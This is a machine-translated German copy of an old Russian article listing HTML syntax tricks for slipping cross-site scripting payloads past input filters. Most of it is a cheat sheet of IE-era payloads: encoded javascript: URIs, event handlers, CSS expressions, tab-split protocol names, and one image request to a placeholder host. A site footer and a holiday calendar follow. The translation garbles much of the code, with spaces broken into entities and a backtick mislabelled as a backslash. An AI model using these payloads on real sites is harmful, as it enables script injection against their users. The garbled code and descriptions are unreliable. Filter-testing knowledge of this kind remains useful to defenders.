This page has been robot translated, sorry for typos if any. Original content here.

HTML-Syntaxfunktionen

Schöpfer: Algol , zFailure - letzte Änderungen 13.06.2005

Eine der wichtigsten Methoden zum Schutz von Websites vor XSS-Sicherheitslücken ist die Verwendung verschiedener Filter für vom Benutzer eingegebene Zeichen. Dieser Artikel beschreibt die Funktionen der HTML-Syntax, mit denen Sie diese Filter umgehen können.

Es ist zu beachten, dass XSS-Schwachstellen vom Browser abhängig sind. Alle folgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern funktionieren Beispiele möglicherweise auch nicht. Beispielsweise ist das Backslash-Zeichen (`) nur in IE ein Attributtrennzeichen. Andere Browser, wie beispielsweise Opera, betrachten dieses Symbol nicht als Wächter.

  • Tag-Attribut-Begrenzer.
    Zusätzlich zum Leerzeichen sind die folgenden Zeichen zulässig: Schrägstrich ( / ), Tabulator, Zeilenvorschub. Das Trennzeichen darf weggelassen werden, wenn das vorherige Zubehör in Anführungszeichen gesetzt ist.
     <image / src = "1.png" / alt = "Hint" / border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
     <image
     src = "1.png"
     alt = "Hinweis"
     border = "0">
     <image src = "1.png" alt = "Hinweis" border = "0">
    
  • Tag-Attribut-Begrenzer
    Werte dürfen in Anführungszeichen (doppelt und einfach) auch in Apostrophen eingeschlossen werden, nur das Allgemeine darf in keiner Weise eingeschränkt werden.
     <image src = "" alt = "Mein Hinweis ist" border = "0">
     <image src = "" alt = 'Mein Tooltip' border = "0">
     <image src = "" alt = `Mein Hinweis` border =" 0 ">
     <image src = "" alt = Hint border = "0">
    
  • Zeichenkodierungen
    Die Entschlüsselung der Zeichen im Skript erfolgt vor der Ausführung:
      <img src = javascript: alert (& quot; ok & quot;)>
     <img src = javascript: alert (& # 039; ok & # 039;)>
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41>
     <a href=javascript:alert(%22ok%22)> klick mich an </a> (nur im href- Attribut)
    
    
  • Script-Literal-Begrenzer
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alert (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Umgehen Sie das Filtern einiger Zeichen
      <img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (Ersetzen des Leerzeichens durch / ** /)
    
    
  • Möglichkeiten zum Ausführen von Skripten
    Es gibt verschiedene Möglichkeiten, Skripte automatisch auszuführen:
      <script> alert ('ok') </ script>
     <script src = 1.js> </ script>
     <body onLoad = alert ('ok')>
     <meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alert ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok'))>
     <span style = top: expression (alert ('ok'))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (funktioniert nur einmal) <style type = "text / css"> @import url (Javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (nur im IE) <a href=javascript:alert(%22ok%22)> klick mich </a> (nur starten, wenn du auf den Link klickst ) <a href = Javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> klick mich an </a> (nur starten, wenn du auf den Link klickst ) <br SIZE = "& {alert ('XSS')} "> (nur Netscape 4.x)
    
    
  • Verschiedene Skriptprotokolle, Möglichkeiten, sie zu schreiben
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (Leerzeichen bis zum Wort javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()>
     <img src = Javascript & # 9: alert ()>
     <img src = Javascript & # 10: alert ()>
     <img src = Javascript & # 13: alert ()>
     <img src = "Javascript
     : alert () "> (vor dem Doppelpunkt - ein Tabulatorzeichen)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (innerhalb des Javascript-Wortes - ein Tabulatorzeichen auch ein Wagenrücklauf)
     
    
  • Fügen Sie Skripte mit Stil ein
    Die Skriptoperatoren im style- Attribut müssen durch " \; " geteilt werden.
     <hr style = `background: url (javascript: alert ('ok 1') \; alert ('ok 2'))`>
    
  • Spezielle Tags.
      <image src = "1.png" alt = "" border = "0"> (das img-Tag und das Bild funktionieren auf die gleiche Weise) <plaintext> (alles, was sich später als dieses Tag bewegt, wird als einfacher Text wahrgenommen - überhaupt nicht als HTML) <textarea> (alles, was sich nach diesem Tag bewegt, wird als reiner Text wahrgenommen - in keiner Weise als HTML.) <xml> (alles, was später als dieses Tag beginnt, wird in keiner Weise angezeigt.)
    
    
  • Tabelle häufig verwendeter Codes:

    Symbol Dezimalcodierung 16. Kodierung * Zeichenkodierung URL-Codierung
    " & # 34 & # x22; & quot; % 22
    '' & # 39 & # x27; % 27
    ` & # 96 & # x60; % 60
    <Leerzeichen> & # 32 & # x20; +
    <tab> & # 9 & # x09; % 09
    <Wagenrücklauf> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <kurzer Bindestrich> & # 173 & # xAD; & schüchtern % AD
    & & # 38 & # x26; & amp; % 26

    * -in einigen Fällen kann das Semikolon weggelassen werden (wenn sich das Zeichen am Ende der Zeile befindet oder mehrere Zeichen in dieser Kodierung hintereinander stehen).

    Siehe ähnlich: http://ha.ckers.org/xss.html
  • Es wird für Ihre Freunde nicht überflüssig sein, diese Informationen zu erfahren und einen Artikel mit ihnen zu teilen!

    Kommentare Das Kommentarfenster erweitern / reduzieren erweitern / reduzieren

    Denken Sie beim Kommentieren daran, dass der Inhalt und der Ton Ihrer Nachricht die Gefühle von echten Menschen verletzen können. Zeigen Sie Respekt und Toleranz gegenüber Ihren Gesprächspartnern, auch wenn Sie deren Meinung nicht teilen nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind vor dem Index verborgen, Spam wird kontrolliert.
    Hat es dir gefallen Abonnieren Sie RSS- Nachrichten,
    die ersten sein, die Informationen erhalten
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf:
    Hit 5 | Gastgeber 4
    Mountain View, Kalifornien, USA
    IP: 66.102.9.102

    2020/01/29 @ www.shram.kiev.ua
    Растущая луна 29. Januar 2020, Mittwoch

    Mobilmachungstag gegen die Bedrohung durch den Atomkrieg Fahne

    Feiertage:

    Tag der Staatsanwaltschaft der Republik Moldau Fahne

    Vasant Panchami, Saraswati Jayanti Fahne

    Gahanbar ist Wohu Manu gewidmet Fahne

    Im Volkskalender ist Peter zur Hälfte gefüttert

    Namenstag: Ivan, Maxim, Peter, Neonila

    Растущая луна 30. Januar 2020, Donnerstag

    Tag des Weihnachtsmannes und der Schneewittchens Fahne

    Feiertage:

    Aserbaidschanischer Zolltag Fahne

    Im nationalen Kalender ist Anton ein Winterwinter, Antonina ist die Hälfte

    Namenstage: Anton, Victor, George, Ivan, Paul, Savely, Antonina

    Растущая луна 31. Januar 2020, Freitag

    Internationaler Juweliertag Fahne

    Feiertage:

    Geburtstag des russischen Wodkas Fahne

    Im Nationalkalender Afanasyev Tag Athanasius - Klematis

    Namenstage: Alexander, Vladimir, Dmitry, Eugene, Emelyan, Hilarion, Cyril, Maxim, Mikhail, Nikolai, Sergey, Ksenia, Maria, Athanasius, Ephraim